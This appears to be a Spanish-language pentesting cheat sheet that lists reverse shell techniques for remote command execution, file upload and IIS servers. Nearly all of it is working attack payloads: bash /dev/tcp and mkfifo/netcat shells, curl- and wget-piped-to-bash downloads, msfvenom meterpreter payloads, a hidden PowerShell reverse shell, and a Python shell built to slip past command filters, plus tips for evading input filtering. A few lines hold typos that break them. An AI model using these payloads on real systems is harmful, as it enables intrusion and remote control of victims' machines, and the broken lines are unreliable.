Reverse Shells
Técnicas para una reverse shell
Consideraciones
- En ocasiones el PUERTO puede determinar que funcione o no
- **Si no funciona, probar a cambiar el tipo de comillas “” ‘’ **
- Si metemos la reverse shell en la URL, mejor URLencodear el comando.
- Si metemos la reverse shell a través de un comando con un exploit en el terminal, poner el comando entre comillas
Reverse shell en la URL con BASH
Si tenemos ejecución remota de comandos a través de una URL, podemos establecer una reverse shell con bash. Nos ponemos a la escucha y ejecutamos el comando en la URL.
"bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'
"bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'"
Reverse shell en la URL con mkfifo
URLencodeando esto, y poniendonos a la escucha con netcat, podemos establecer una reverse shell.
#Ponernos a la escucha en la maquina atacante
nc -nlvp 8888
#Comando a ejecutar en la URL
rm /tmpf;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3:8888 >/tmp/f
File upload PHP
Si podemos subir ficheros, una opción es subir un php malicioso con el código de la reverse shell, ponernos a la escucha, y visitar el fichero/url https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
RCE con CURL en BASH
En ocasiones el comando en la URL no funciona, pero si ejecuta comandos. Se puede meter el codigo malicioso en un fichero index.html, servir esto con python, y hacer un curl desde la URL (teniendo RCE a través de la URL).
1º- Crear un fichero index.html con el siguiente contenido (una de las 3):
"bash -i >& /dev/tcp/10.0.0.1/443 0>&1"
'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'
"bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'"
2º- Servir con python y ponernos a la escucha con netcat:
pyton3 -m http.server 80
nc -nlvp 443
3º - Hacer un curl desde la URL y pipeamos con bash para interpretar el código.
"curl 'http://ip' | bash"
"wget 'http://ip' | bash"
Reverse Shell en IIS Windows
En IIS funciona totalmente distinto a nginx y apache. En caso de no tener PHP, se puede entablar una reverse shell subiendo un fichero .aspx malicioso.
Para ello se crea un payload con msfvenom y se sube a la víctima
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tu_ip LPORT=tu_puerto -f aspx > payload.aspx
En el atacante
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tu_ip
set LPORT tu_puerto
RCE en IIS windows
Teniendo un cuadro de texto donde ejecutar comandos de sistema, nos ponemos a la escucha por el puerto que queramos y ejecutamos esta “linea”
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.5',4545); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"
Filtros command execution
En ocasiones podemos ejecutar algunos comandos, pero no “bash”, “cat” o similares que puedan ser interpretados como una amenaza. Algunas alternativas son:
find /usr/bin/python3 -exec {} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.42.127",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;